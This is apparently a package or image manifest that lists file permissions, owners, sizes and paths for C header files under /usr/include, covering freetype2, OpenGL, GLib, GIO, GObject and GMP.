+-rw-r--r-- root root 5479 ./usr/include/freetype2/freetype/ftadvanc.h
+-rw-r--r-- root root 2652 ./usr/include/freetype2/freetype/ftbbox.h
+-rw-r--r-- root root 5336 ./usr/include/freetype2/freetype/ftbdf.h
+-rw-r--r-- root root 9055 ./usr/include/freetype2/freetype/ftbitmap.h
+-rw-r--r-- root root 2745 ./usr/include/freetype2/freetype/ftbzip2.h
+-rw-r--r-- root root 33870 ./usr/include/freetype2/freetype/ftcache.h
+-rw-r--r-- root root 2510 ./usr/include/freetype2/freetype/ftchapters.h
+-rw-r--r-- root root 4036 ./usr/include/freetype2/freetype/ftcid.h
+-rw-r--r-- root root 8927 ./usr/include/freetype2/freetype/ftcolor.h
+-rw-r--r-- root root 47451 ./usr/include/freetype2/freetype/ftdriver.h
+-rw-r--r-- root root 12336 ./usr/include/freetype2/freetype/fterrdef.h
+-rw-r--r-- root root 8904 ./usr/include/freetype2/freetype/fterrors.h
+-rw-r--r-- root root 2227 ./usr/include/freetype2/freetype/ftfntfmt.h
+-rw-r--r-- root root 4152 ./usr/include/freetype2/freetype/ftgasp.h
+-rw-r--r-- root root 18505 ./usr/include/freetype2/freetype/ftglyph.h
+-rw-r--r-- root root 10639 ./usr/include/freetype2/freetype/ftgxval.h
+-rw-r--r-- root root 4170 ./usr/include/freetype2/freetype/ftgzip.h
+-rw-r--r-- root root 39169 ./usr/include/freetype2/freetype/ftimage.h
+-rw-r--r-- root root 10322 ./usr/include/freetype2/freetype/ftincrem.h
+-rw-r--r-- root root 11969 ./usr/include/freetype2/freetype/ftlcdfil.h
+-rw-r--r-- root root 7114 ./usr/include/freetype2/freetype/ftlist.h
+-rw-r--r-- root root 2726 ./usr/include/freetype2/freetype/ftlzw.h
+-rw-r--r-- root root 7793 ./usr/include/freetype2/freetype/ftmac.h
+-rw-r--r-- root root 21811 ./usr/include/freetype2/freetype/ftmm.h
+-rw-r--r-- root root 21820 ./usr/include/freetype2/freetype/ftmodapi.h
+-rw-r--r-- root root 6598 ./usr/include/freetype2/freetype/ftmoderr.h
+-rw-r--r-- root root 5360 ./usr/include/freetype2/freetype/ftotval.h
+-rw-r--r-- root root 17476 ./usr/include/freetype2/freetype/ftoutln.h
+-rw-r--r-- root root 5606 ./usr/include/freetype2/freetype/ftparams.h
+-rw-r--r-- root root 4924 ./usr/include/freetype2/freetype/ftpfr.h
+-rw-r--r-- root root 6627 ./usr/include/freetype2/freetype/ftrender.h
+-rw-r--r-- root root 4302 ./usr/include/freetype2/freetype/ftsizes.h
+-rw-r--r-- root root 7742 ./usr/include/freetype2/freetype/ftsnames.h
+-rw-r--r-- root root 21778 ./usr/include/freetype2/freetype/ftstroke.h
+-rw-r--r-- root root 3376 ./usr/include/freetype2/freetype/ftsynth.h
+-rw-r--r-- root root 8540 ./usr/include/freetype2/freetype/ftsystem.h
+-rw-r--r-- root root 7403 ./usr/include/freetype2/freetype/fttrigon.h
+-rw-r--r-- root root 14467 ./usr/include/freetype2/freetype/fttypes.h
+-rw-r--r-- root root 7980 ./usr/include/freetype2/freetype/ftwinfnt.h
+-rw-r--r-- root root 22843 ./usr/include/freetype2/freetype/t1tables.h
+-rw-r--r-- root root 58791 ./usr/include/freetype2/freetype/ttnameid.h
+-rw-r--r-- root root 25245 ./usr/include/freetype2/freetype/tttables.h
+-rw-r--r-- root root 5106 ./usr/include/freetype2/freetype/tttags.h
+-rw-r--r-- root root 1111 ./usr/include/freetype2/ft2build.h
+-rw-r--r-- root root 3111 ./usr/include/fstab.h
+-rw-r--r-- root root 8373 ./usr/include/fts.h
+-rw-r--r-- root root 5252 ./usr/include/ftw.h
+-rw-r--r-- root root 40645 ./usr/include/gawkapi.h
+-rw-r--r-- root root 4211 ./usr/include/gconv.h
+drwxr-xr-x root root 4096 ./usr/include/gdbm
+lrwxrwxrwx root root 9 ./usr/include/gdbm/gdbm.h -> ../gdbm.h
+-rw-r--r-- root root 10345 ./usr/include/gdbm.h
+lrwxrwxrwx root root 9 ./usr/include/gdbm/ndbm.h -> ../ndbm.h
+-rw-r--r-- root root 11312 ./usr/include/gelf.h
+-rw-r--r-- root root 1469 ./usr/include/getopt.h
+drwxr-xr-x root root 4096 ./usr/include/gio-unix-2.0
+drwxr-xr-x root root 4096 ./usr/include/gio-unix-2.0/gio
+-rw-r--r-- root root 8679 ./usr/include/gio-unix-2.0/gio/gdesktopappinfo.h
+-rw-r--r-- root root 2218 ./usr/include/gio-unix-2.0/gio/gfiledescriptorbased.h
+-rw-r--r-- root root 5761 ./usr/include/gio-unix-2.0/gio/gunixconnection.h
+-rw-r--r-- root root 3197 ./usr/include/gio-unix-2.0/gio/gunixcredentialsmessage.h
+-rw-r--r-- root root 4245 ./usr/include/gio-unix-2.0/gio/gunixfdlist.h
+-rw-r--r-- root root 3767 ./usr/include/gio-unix-2.0/gio/gunixfdmessage.h
+-rw-r--r-- root root 3018 ./usr/include/gio-unix-2.0/gio/gunixinputstream.h
+-rw-r--r-- root root 7349 ./usr/include/gio-unix-2.0/gio/gunixmounts.h
+-rw-r--r-- root root 3050 ./usr/include/gio-unix-2.0/gio/gunixoutputstream.h
+-rw-r--r-- root root 3424 ./usr/include/gio-unix-2.0/gio/gunixsocketaddress.h
+drwxr-xr-x root root 4096 ./usr/include/GL
+-rw-r--r-- root root 421419 ./usr/include/GL/glcorearb.h
+-rw-r--r-- root root 848217 ./usr/include/GL/glext.h
+-rw-r--r-- root root 80393 ./usr/include/GL/gl.h
+-rw-r--r-- root root 48752 ./usr/include/GL/glxext.h
+-rw-r--r-- root root 14578 ./usr/include/GL/glx.h
+-rw-r--r-- root root 4695 ./usr/include/GL/glxint.h
+-rw-r--r-- root root 2085 ./usr/include/GL/glxmd.h
+-rw-r--r-- root root 78531 ./usr/include/GL/glxproto.h
+-rw-r--r-- root root 11429 ./usr/include/GL/glxtokens.h
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/gio
+-rw-r--r-- root root 1768 ./usr/include/glib-2.0/gio/gactiongroupexporter.h
+-rw-r--r-- root root 9167 ./usr/include/glib-2.0/gio/gactiongroup.h
+-rw-r--r-- root root 4610 ./usr/include/glib-2.0/gio/gaction.h
+-rw-r--r-- root root 3996 ./usr/include/glib-2.0/gio/gactionmap.h
+-rw-r--r-- root root 19095 ./usr/include/glib-2.0/gio/gappinfo.h
+-rw-r--r-- root root 6168 ./usr/include/glib-2.0/gio/gapplicationcommandline.h
+-rw-r--r-- root root 14551 ./usr/include/glib-2.0/gio/gapplication.h
+-rw-r--r-- root root 4423 ./usr/include/glib-2.0/gio/gasyncinitable.h
+-rw-r--r-- root root 2818 ./usr/include/glib-2.0/gio/gasyncresult.h
+-rw-r--r-- root root 5229 ./usr/include/glib-2.0/gio/gbufferedinputstream.h
+-rw-r--r-- root root 3334 ./usr/include/glib-2.0/gio/gbufferedoutputstream.h
+-rw-r--r-- root root 1652 ./usr/include/glib-2.0/gio/gbytesicon.h
+-rw-r--r-- root root 4058 ./usr/include/glib-2.0/gio/gcancellable.h
+-rw-r--r-- root root 2518 ./usr/include/glib-2.0/gio/gcharsetconverter.h
+-rw-r--r-- root root 2971 ./usr/include/glib-2.0/gio/gcontenttype.h
+-rw-r--r-- root root 2885 ./usr/include/glib-2.0/gio/gconverter.h
+-rw-r--r-- root root 3015 ./usr/include/glib-2.0/gio/gconverterinputstream.h
+-rw-r--r-- root root 3054 ./usr/include/glib-2.0/gio/gconverteroutputstream.h
+-rw-r--r-- root root 3408 ./usr/include/glib-2.0/gio/gcredentials.h
+-rw-r--r-- root root 6661 ./usr/include/glib-2.0/gio/gdatagrambased.h
+-rw-r--r-- root root 11140 ./usr/include/glib-2.0/gio/gdatainputstream.h
+-rw-r--r-- root root 4923 ./usr/include/glib-2.0/gio/gdataoutputstream.h
+-rw-r--r-- root root 2739 ./usr/include/glib-2.0/gio/gdbusactiongroup.h
+-rw-r--r-- root root 2670 ./usr/include/glib-2.0/gio/gdbusaddress.h
+-rw-r--r-- root root 2130 ./usr/include/glib-2.0/gio/gdbusauthobserver.h
+-rw-r--r-- root root 38873 ./usr/include/glib-2.0/gio/gdbusconnection.h
+-rw-r--r-- root root 4306 ./usr/include/glib-2.0/gio/gdbuserror.h
+-rw-r--r-- root root 3069 ./usr/include/glib-2.0/gio/gdbusinterface.h
+-rw-r--r-- root root 6055 ./usr/include/glib-2.0/gio/gdbusinterfaceskeleton.h
+-rw-r--r-- root root 12393 ./usr/include/glib-2.0/gio/gdbusintrospection.h
+-rw-r--r-- root root 1730 ./usr/include/glib-2.0/gio/gdbusmenumodel.h
+-rw-r--r-- root root 11383 ./usr/include/glib-2.0/gio/gdbusmessage.h
+-rw-r--r-- root root 5801 ./usr/include/glib-2.0/gio/gdbusmethodinvocation.h
+-rw-r--r-- root root 4877 ./usr/include/glib-2.0/gio/gdbusnameowning.h
+-rw-r--r-- root root 4521 ./usr/include/glib-2.0/gio/gdbusnamewatching.h
+-rw-r--r-- root root 2941 ./usr/include/glib-2.0/gio/gdbusobject.h
+-rw-r--r-- root root 9800 ./usr/include/glib-2.0/gio/gdbusobjectmanagerclient.h
+-rw-r--r-- root root 4474 ./usr/include/glib-2.0/gio/gdbusobjectmanager.h
+-rw-r--r-- root root 4120 ./usr/include/glib-2.0/gio/gdbusobjectmanagerserver.h
+-rw-r--r-- root root 2635 ./usr/include/glib-2.0/gio/gdbusobjectproxy.h
+-rw-r--r-- root root 3957 ./usr/include/glib-2.0/gio/gdbusobjectskeleton.h
+-rw-r--r-- root root 12082 ./usr/include/glib-2.0/gio/gdbusproxy.h
+-rw-r--r-- root root 2534 ./usr/include/glib-2.0/gio/gdbusserver.h
+-rw-r--r-- root root 1779 ./usr/include/glib-2.0/gio/gdbusutils.h
+-rw-r--r-- root root 14503 ./usr/include/glib-2.0/gio/gdrive.h
+-rw-r--r-- root root 3197 ./usr/include/glib-2.0/gio/gdtlsclientconnection.h
+-rw-r--r-- root root 11430 ./usr/include/glib-2.0/gio/gdtlsconnection.h
+-rw-r--r-- root root 2446 ./usr/include/glib-2.0/gio/gdtlsserverconnection.h
+-rw-r--r-- root root 2788 ./usr/include/glib-2.0/gio/gemblemedicon.h
+-rw-r--r-- root root 2155 ./usr/include/glib-2.0/gio/gemblem.h
+-rw-r--r-- root root 2801 ./usr/include/glib-2.0/gio/gfileattribute.h
+-rw-r--r-- root root 6393 ./usr/include/glib-2.0/gio/gfileenumerator.h
+-rw-r--r-- root root 79870 ./usr/include/glib-2.0/gio/gfile.h
+-rw-r--r-- root root 1959 ./usr/include/glib-2.0/gio/gfileicon.h
+-rw-r--r-- root root 44335 ./usr/include/glib-2.0/gio/gfileinfo.h
+-rw-r--r-- root root 4656 ./usr/include/glib-2.0/gio/gfileinputstream.h
+-rw-r--r-- root root 5041 ./usr/include/glib-2.0/gio/gfileiostream.h
+-rw-r--r-- root root 3280 ./usr/include/glib-2.0/gio/gfilemonitor.h
+-rw-r--r-- root root 3090 ./usr/include/glib-2.0/gio/gfilenamecompleter.h
+-rw-r--r-- root root 5338 ./usr/include/glib-2.0/gio/gfileoutputstream.h
+-rw-r--r-- root root 2832 ./usr/include/glib-2.0/gio/gfilterinputstream.h
+-rw-r--r-- root root 2875 ./usr/include/glib-2.0/gio/gfilteroutputstream.h
+-rw-r--r-- root root 3435 ./usr/include/glib-2.0/gio/gicon.h
+-rw-r--r-- root root 4529 ./usr/include/glib-2.0/gio/ginetaddress.h
+-rw-r--r-- root root 3119 ./usr/include/glib-2.0/gio/ginetaddressmask.h
+-rw-r--r-- root root 3111 ./usr/include/glib-2.0/gio/ginetsocketaddress.h
+-rw-r--r-- root root 2976 ./usr/include/glib-2.0/gio/ginitable.h
+-rw-r--r-- root root 9188 ./usr/include/glib-2.0/gio/ginputstream.h
+-rw-r--r-- root root 9066 ./usr/include/glib-2.0/gio/gio-autocleanups.h
+-rw-r--r-- root root 76503 ./usr/include/glib-2.0/gio/gioenums.h
+-rw-r--r-- root root 12517 ./usr/include/glib-2.0/gio/gioenumtypes.h
+-rw-r--r-- root root 1558 ./usr/include/glib-2.0/gio/gioerror.h
+-rw-r--r-- root root 5646 ./usr/include/glib-2.0/gio/gio.h
+-rw-r--r-- root root 8064 ./usr/include/glib-2.0/gio/giomodule.h
+-rw-r--r-- root root 1999 ./usr/include/glib-2.0/gio/gioscheduler.h
+-rw-r--r-- root root 4862 ./usr/include/glib-2.0/gio/giostream.h
+-rw-r--r-- root root 24681 ./usr/include/glib-2.0/gio/giotypes.h
+-rw-r--r-- root root 2576 ./usr/include/glib-2.0/gio/glistmodel.h
+-rw-r--r-- root root 4178 ./usr/include/glib-2.0/gio/gliststore.h
+-rw-r--r-- root root 3671 ./usr/include/glib-2.0/gio/gloadableicon.h
+-rw-r--r-- root root 3434 ./usr/include/glib-2.0/gio/gmemoryinputstream.h
+-rw-r--r-- root root 2140 ./usr/include/glib-2.0/gio/gmemorymonitor.h
+-rw-r--r-- root root 3933 ./usr/include/glib-2.0/gio/gmemoryoutputstream.h
+-rw-r--r-- root root 1611 ./usr/include/glib-2.0/gio/gmenuexporter.h
+-rw-r--r-- root root 8940 ./usr/include/glib-2.0/gio/gmenu.h
+-rw-r--r-- root root 14334 ./usr/include/glib-2.0/gio/gmenumodel.h
+-rw-r--r-- root root 15791 ./usr/include/glib-2.0/gio/gmount.h
+-rw-r--r-- root root 6765 ./usr/include/glib-2.0/gio/gmountoperation.h
+-rw-r--r-- root root 2536 ./usr/include/glib-2.0/gio/gnativesocketaddress.h
+-rw-r--r-- root root 2270 ./usr/include/glib-2.0/gio/gnativevolumemonitor.h
+-rw-r--r-- root root 2956 ./usr/include/glib-2.0/gio/gnetworkaddress.h
+-rw-r--r-- root root 1994 ./usr/include/glib-2.0/gio/gnetworking.h
+-rw-r--r-- root root 4239 ./usr/include/glib-2.0/gio/gnetworkmonitor.h
+-rw-r--r-- root root 2756 ./usr/include/glib-2.0/gio/gnetworkservice.h
+-rw-r--r-- root root 4898 ./usr/include/glib-2.0/gio/gnotification.h
+-rw-r--r-- root root 15760 ./usr/include/glib-2.0/gio/goutputstream.h
+-rw-r--r-- root root 5862 ./usr/include/glib-2.0/gio/gpermission.h
+-rw-r--r-- root root 3829 ./usr/include/glib-2.0/gio/gpollableinputstream.h
+-rw-r--r-- root root 4919 ./usr/include/glib-2.0/gio/gpollableoutputstream.h
+-rw-r--r-- root root 2134 ./usr/include/glib-2.0/gio/gpollableutils.h
+-rw-r--r-- root root 1994 ./usr/include/glib-2.0/gio/gpropertyaction.h
+-rw-r--r-- root root 2939 ./usr/include/glib-2.0/gio/gproxyaddressenumerator.h
+-rw-r--r-- root root 3166 ./usr/include/glib-2.0/gio/gproxyaddress.h
+-rw-r--r-- root root 4067 ./usr/include/glib-2.0/gio/gproxy.h
+-rw-r--r-- root root 3393 ./usr/include/glib-2.0/gio/gproxyresolver.h
+-rw-r--r-- root root 3635 ./usr/include/glib-2.0/gio/gremoteactiongroup.h
+-rw-r--r-- root root 16852 ./usr/include/glib-2.0/gio/gresolver.h
+-rw-r--r-- root root 4651 ./usr/include/glib-2.0/gio/gresource.h
+-rw-r--r-- root root 3280 ./usr/include/glib-2.0/gio/gseekable.h
+-rw-r--r-- root root 8508 ./usr/include/glib-2.0/gio/gsettingsbackend.h
+-rw-r--r-- root root 21148 ./usr/include/glib-2.0/gio/gsettings.h
+-rw-r--r-- root root 5933 ./usr/include/glib-2.0/gio/gsettingsschema.h
+-rw-r--r-- root root 4355 ./usr/include/glib-2.0/gio/gsimpleactiongroup.h
+-rw-r--r-- root root 2915 ./usr/include/glib-2.0/gio/gsimpleaction.h
+-rw-r--r-- root root 7809 ./usr/include/glib-2.0/gio/gsimpleasyncresult.h
+-rw-r--r-- root root 1722 ./usr/include/glib-2.0/gio/gsimpleiostream.h
+-rw-r--r-- root root 1686 ./usr/include/glib-2.0/gio/gsimplepermission.h
+-rw-r--r-- root root 3531 ./usr/include/glib-2.0/gio/gsimpleproxyresolver.h
+-rw-r--r-- root root 3897 ./usr/include/glib-2.0/gio/gsocketaddressenumerator.h
+-rw-r--r-- root root 3086 ./usr/include/glib-2.0/gio/gsocketaddress.h
+-rw-r--r-- root root 11211 ./usr/include/glib-2.0/gio/gsocketclient.h
+-rw-r--r-- root root 2886 ./usr/include/glib-2.0/gio/gsocketconnectable.h
+-rw-r--r-- root root 5056 ./usr/include/glib-2.0/gio/gsocketconnection.h
+-rw-r--r-- root root 4886 ./usr/include/glib-2.0/gio/gsocketcontrolmessage.h
+-rw-r--r-- root root 16181 ./usr/include/glib-2.0/gio/gsocket.h
+-rw-r--r-- root root 7680 ./usr/include/glib-2.0/gio/gsocketlistener.h
+-rw-r--r-- root root 3620 ./usr/include/glib-2.0/gio/gsocketservice.h
+-rw-r--r-- root root 1936 ./usr/include/glib-2.0/gio/gsrvtarget.h
+-rw-r--r-- root root 8606 ./usr/include/glib-2.0/gio/gsubprocess.h
+-rw-r--r-- root root 6399 ./usr/include/glib-2.0/gio/gsubprocesslauncher.h
+-rw-r--r-- root root 8278 ./usr/include/glib-2.0/gio/gtask.h
+-rw-r--r-- root root 2957 ./usr/include/glib-2.0/gio/gtcpconnection.h
+-rw-r--r-- root root 2973 ./usr/include/glib-2.0/gio/gtcpwrapperconnection.h
+-rw-r--r-- root root 2303 ./usr/include/glib-2.0/gio/gtestdbus.h
+-rw-r--r-- root root 2643 ./usr/include/glib-2.0/gio/gthemedicon.h
+-rw-r--r-- root root 3665 ./usr/include/glib-2.0/gio/gthreadedsocketservice.h
+-rw-r--r-- root root 4587 ./usr/include/glib-2.0/gio/gtlsbackend.h
+-rw-r--r-- root root 3505 ./usr/include/glib-2.0/gio/gtlscertificate.h
+-rw-r--r-- root root 3683 ./usr/include/glib-2.0/gio/gtlsclientconnection.h
+-rw-r--r-- root root 6575 ./usr/include/glib-2.0/gio/gtlsconnection.h
+-rw-r--r-- root root 17271 ./usr/include/glib-2.0/gio/gtlsdatabase.h
+-rw-r--r-- root root 1909 ./usr/include/glib-2.0/gio/gtlsfiledatabase.h
+-rw-r--r-- root root 8333 ./usr/include/glib-2.0/gio/gtlsinteraction.h
+-rw-r--r-- root root 4818 ./usr/include/glib-2.0/gio/gtlspassword.h
+-rw-r--r-- root root 2348 ./usr/include/glib-2.0/gio/gtlsserverconnection.h
+-rw-r--r-- root root 6616 ./usr/include/glib-2.0/gio/gvfs.h
+-rw-r--r-- root root 11736 ./usr/include/glib-2.0/gio/gvolume.h
+-rw-r--r-- root root 5998 ./usr/include/glib-2.0/gio/gvolumemonitor.h
+-rw-r--r-- root root 2350 ./usr/include/glib-2.0/gio/gzlibcompressor.h
+-rw-r--r-- root root 2212 ./usr/include/glib-2.0/gio/gzlibdecompressor.h
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/glib
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/glib/deprecated
+-rw-r--r-- root root 3256 ./usr/include/glib-2.0/glib/deprecated/gallocator.h
+-rw-r--r-- root root 2987 ./usr/include/glib-2.0/glib/deprecated/gcache.h
+-rw-r--r-- root root 2922 ./usr/include/glib-2.0/glib/deprecated/gcompletion.h
+-rw-r--r-- root root 4392 ./usr/include/glib-2.0/glib/deprecated/gmain.h
+-rw-r--r-- root root 3682 ./usr/include/glib-2.0/glib/deprecated/grel.h
+-rw-r--r-- root root 10938 ./usr/include/glib-2.0/glib/deprecated/gthread.h
+-rw-r--r-- root root 3912 ./usr/include/glib-2.0/glib/galloca.h
+-rw-r--r-- root root 11385 ./usr/include/glib-2.0/glib/garray.h
+-rw-r--r-- root root 5726 ./usr/include/glib-2.0/glib/gasyncqueue.h
+-rw-r--r-- root root 23740 ./usr/include/glib-2.0/glib/gatomic.h
+-rw-r--r-- root root 2727 ./usr/include/glib-2.0/glib/gbacktrace.h
+-rw-r--r-- root root 2323 ./usr/include/glib-2.0/glib/gbase64.h
+-rw-r--r-- root root 2902 ./usr/include/glib-2.0/glib/gbitlock.h
+-rw-r--r-- root root 9596 ./usr/include/glib-2.0/glib/gbookmarkfile.h
+-rw-r--r-- root root 3334 ./usr/include/glib-2.0/glib/gbytes.h
+-rw-r--r-- root root 1578 ./usr/include/glib-2.0/glib/gcharset.h
+-rw-r--r-- root root 3864 ./usr/include/glib-2.0/glib/gchecksum.h
+-rw-r--r-- root root 5923 ./usr/include/glib-2.0/glib/gconvert.h
+-rw-r--r-- root root 6245 ./usr/include/glib-2.0/glib/gdataset.h
+-rw-r--r-- root root 12420 ./usr/include/glib-2.0/glib/gdate.h
+-rw-r--r-- root root 12738 ./usr/include/glib-2.0/glib/gdatetime.h
+-rw-r--r-- root root 1641 ./usr/include/glib-2.0/glib/gdir.h
+-rw-r--r-- root root 2364 ./usr/include/glib-2.0/glib/genviron.h
+-rw-r--r-- root root 3943 ./usr/include/glib-2.0/glib/gerror.h
+-rw-r--r-- root root 5813 ./usr/include/glib-2.0/glib/gfileutils.h
+-rw-r--r-- root root 2424 ./usr/include/glib-2.0/glib/ggettext.h
+-rw-r--r-- root root 7886 ./usr/include/glib-2.0/glib/ghash.h
+-rw-r--r-- root root 3469 ./usr/include/glib-2.0/glib/ghmac.h
+-rw-r--r-- root root 6358 ./usr/include/glib-2.0/glib/ghook.h
+-rw-r--r-- root root 1456 ./usr/include/glib-2.0/glib/ghostutils.h
+-rw-r--r-- root root 1167 ./usr/include/glib-2.0/glib/gi18n.h
+-rw-r--r-- root root 1370 ./usr/include/glib-2.0/glib/gi18n-lib.h
+-rw-r--r-- root root 13954 ./usr/include/glib-2.0/glib/giochannel.h
+-rw-r--r-- root root 14913 ./usr/include/glib-2.0/glib/gkeyfile.h
+-rw-r--r-- root root 4789 ./usr/include/glib-2.0/glib/glib-autocleanups.h
+-rw-r--r-- root root 6930 ./usr/include/glib-2.0/glib/glist.h
+-rw-r--r-- root root 42372 ./usr/include/glib-2.0/glib/gmacros.h
+-rw-r--r-- root root 28138 ./usr/include/glib-2.0/glib/gmain.h
+-rw-r--r-- root root 1986 ./usr/include/glib-2.0/glib/gmappedfile.h
+-rw-r--r-- root root 10876 ./usr/include/glib-2.0/glib/gmarkup.h
+-rw-r--r-- root root 14684 ./usr/include/glib-2.0/glib/gmem.h
+-rw-r--r-- root root 26913 ./usr/include/glib-2.0/glib/gmessages.h
+-rw-r--r-- root root 8700 ./usr/include/glib-2.0/glib/gnode.h
+-rw-r--r-- root root 16099 ./usr/include/glib-2.0/glib/goption.h
+-rw-r--r-- root root 1782 ./usr/include/glib-2.0/glib/gpattern.h
+-rw-r--r-- root root 4125 ./usr/include/glib-2.0/glib/gpoll.h
+-rw-r--r-- root root 1694 ./usr/include/glib-2.0/glib/gprimes.h
+-rw-r--r-- root root 1984 ./usr/include/glib-2.0/glib/gprintf.h
+-rw-r--r-- root root 1499 ./usr/include/glib-2.0/glib/gqsort.h
+-rw-r--r-- root root 2688 ./usr/include/glib-2.0/glib/gquark.h
+-rw-r--r-- root root 7750 ./usr/include/glib-2.0/glib/gqueue.h
+-rw-r--r-- root root 3182 ./usr/include/glib-2.0/glib/grand.h
+-rw-r--r-- root root 3764 ./usr/include/glib-2.0/glib/grcbox.h
+-rw-r--r-- root root 3988 ./usr/include/glib-2.0/glib/grefcount.h
+-rw-r--r-- root root 1868 ./usr/include/glib-2.0/glib/grefstring.h
+-rw-r--r-- root root 28095 ./usr/include/glib-2.0/glib/gregex.h
+-rw-r--r-- root root 8861 ./usr/include/glib-2.0/glib/gscanner.h
+-rw-r--r-- root root 8811 ./usr/include/glib-2.0/glib/gsequence.h
+-rw-r--r-- root root 1752 ./usr/include/glib-2.0/glib/gshell.h
+-rw-r--r-- root root 3892 ./usr/include/glib-2.0/glib/gslice.h
+-rw-r--r-- root root 6551 ./usr/include/glib-2.0/glib/gslist.h
+-rw-r--r-- root root 11874 ./usr/include/glib-2.0/glib/gspawn.h
+-rw-r--r-- root root 5109 ./usr/include/glib-2.0/glib/gstdio.h
+-rw-r--r-- root root 13232 ./usr/include/glib-2.0/glib/gstrfuncs.h
+-rw-r--r-- root root 2130 ./usr/include/glib-2.0/glib/gstringchunk.h
+-rw-r--r-- root root 8045 ./usr/include/glib-2.0/glib/gstring.h
+-rw-r--r-- root root 31435 ./usr/include/glib-2.0/glib/gtestutils.h
+-rw-r--r-- root root 17496 ./usr/include/glib-2.0/glib/gthread.h
+-rw-r--r-- root root 3824 ./usr/include/glib-2.0/glib/gthreadpool.h
+-rw-r--r-- root root 2576 ./usr/include/glib-2.0/glib/gtimer.h
+-rw-r--r-- root root 3723 ./usr/include/glib-2.0/glib/gtimezone.h
+-rw-r--r-- root root 1906 ./usr/include/glib-2.0/glib/gtrashstack.h
+-rw-r--r-- root root 4194 ./usr/include/glib-2.0/glib/gtree.h
+-rw-r--r-- root root 20493 ./usr/include/glib-2.0/glib/gtypes.h
+-rw-r--r-- root root 40690 ./usr/include/glib-2.0/glib/gunicode.h
+-rw-r--r-- root root 2716 ./usr/include/glib-2.0/glib/gurifuncs.h
+-rw-r--r-- root root 14564 ./usr/include/glib-2.0/glib/gutils.h
+-rw-r--r-- root root 1291 ./usr/include/glib-2.0/glib/guuid.h
+-rw-r--r-- root root 29560 ./usr/include/glib-2.0/glib/gvariant.h
+-rw-r--r-- root root 13244 ./usr/include/glib-2.0/glib/gvarianttype.h
+-rw-r--r-- root root 1981 ./usr/include/glib-2.0/glib/gversion.h
+-rw-r--r-- root root 40799 ./usr/include/glib-2.0/glib/gversionmacros.h
+-rw-r--r-- root root 4667 ./usr/include/glib-2.0/glib/gwin32.h
+-rw-r--r-- root root 3381 ./usr/include/glib-2.0/glib.h
+-rw-r--r-- root root 1462 ./usr/include/glib-2.0/glib-object.h
+-rw-r--r-- root root 4461 ./usr/include/glib-2.0/glib-unix.h
+-rw-r--r-- root root 4318 ./usr/include/glib-2.0/gmodule.h
+drwxr-xr-x root root 4096 ./usr/include/glib-2.0/gobject
+-rw-r--r-- root root 6342 ./usr/include/glib-2.0/gobject/gbinding.h
+-rw-r--r-- root root 3965 ./usr/include/glib-2.0/gobject/gboxed.h
+-rw-r--r-- root root 11053 ./usr/include/glib-2.0/gobject/gclosure.h
+-rw-r--r-- root root 8041 ./usr/include/glib-2.0/gobject/genums.h
+-rw-r--r-- root root 1026 ./usr/include/glib-2.0/gobject/glib-enumtypes.h
+-rw-r--r-- root root 8656 ./usr/include/glib-2.0/gobject/glib-types.h
+-rw-r--r-- root root 21841 ./usr/include/glib-2.0/gobject/gmarshal.h
+-rw-r--r-- root root 1382 ./usr/include/glib-2.0/gobject/gobject-autocleanups.h
+-rw-r--r-- root root 34088 ./usr/include/glib-2.0/gobject/gobject.h
+-rw-r--r-- root root 5516 ./usr/include/glib-2.0/gobject/gobjectnotifyqueue.c
+-rw-r--r-- root root 16431 ./usr/include/glib-2.0/gobject/gparam.h
+-rw-r--r-- root root 34850 ./usr/include/glib-2.0/gobject/gparamspecs.h
+-rw-r--r-- root root 24872 ./usr/include/glib-2.0/gobject/gsignal.h
+-rw-r--r-- root root 1275 ./usr/include/glib-2.0/gobject/gsourceclosure.h
+-rw-r--r-- root root 92450 ./usr/include/glib-2.0/gobject/gtype.h
+-rw-r--r-- root root 10837 ./usr/include/glib-2.0/gobject/gtypemodule.h
+-rw-r--r-- root root 4965 ./usr/include/glib-2.0/gobject/gtypeplugin.h
+-rw-r--r-- root root 3218 ./usr/include/glib-2.0/gobject/gvaluearray.h
+-rw-r--r-- root root 9817 ./usr/include/glib-2.0/gobject/gvaluecollector.h
+-rw-r--r-- root root 5656 ./usr/include/glib-2.0/gobject/gvalue.h
+-rw-r--r-- root root 9653 ./usr/include/glib-2.0/gobject/gvaluetypes.h
+drwxr-xr-x root root 4096 ./usr/include/GL/internal
+-rw-r--r-- root root 78637 ./usr/include/GL/internal/dri_interface.h
+-rw-r--r-- root root 6315 ./usr/include/GL/internal/glcore.h
+-rw-r--r-- root root 6617 ./usr/include/glob.h
+-rw-r--r-- root root 84177 ./usr/include/gmp-64.h
+-rw-r--r-- root root 500 ./usr/include/gmp.h
+-rw-r--r-- root root 129113 ./usr/include/gmpxx.h
+drwxr-xr-x root root 4096 ./usr/include/gnu
+-rw-r--r-- root root 1264 ./usr/include/gnu/libc-version.h
+-rw-r--r-- root root 1665 ./usr/include/gnu/lib-names-64.h
+-rw-r--r-- root root 467 ./usr/include/gnu/lib-names.h
+-rw-r--r-- root root 2912 ./usr/include/gnumake.h
+-rw-r--r-- root root 523 ./usr/include/gnu/stubs-64.h
+-rw-r--r-- root root 384 ./usr/include/gnu/stubs.h
+-rw-r--r-- root root 2343 ./usr/include/gnu-versions.h
+drwxr-xr-x root root 4096 ./usr/include/gobject-introspection-1.0
+-rw-r--r-- root root 2622 ./usr/include/gobject-introspection-1.0/giarginfo.h
+-rw-r--r-- root root 3275 ./usr/include/gobject-introspection-1.0/gibaseinfo.h
+-rw-r--r-- root root 4523 ./usr/include/gobject-introspection-1.0/gicallableinfo.h
+-rw-r--r-- root root 1769 ./usr/include/gobject-introspection-1.0/giconstantinfo.h
+-rw-r--r-- root root 2348 ./usr/include/gobject-introspection-1.0/gienuminfo.h
+-rw-r--r-- root root 2129 ./usr/include/gobject-introspection-1.0/gifieldinfo.h
+-rw-r--r-- root root 2877 ./usr/include/gobject-introspection-1.0/gifunctioninfo.h
+-rw-r--r-- root root 3418 ./usr/include/gobject-introspection-1.0/giinterfaceinfo.h
+-rw-r--r-- root root 6060 ./usr/include/gobject-introspection-1.0/giobjectinfo.h
+-rw-r--r-- root root 1685 ./usr/include/gobject-introspection-1.0/gipropertyinfo.h
+-rw-r--r-- root root 2363 ./usr/include/gobject-introspection-1.0/giregisteredtypeinfo.h
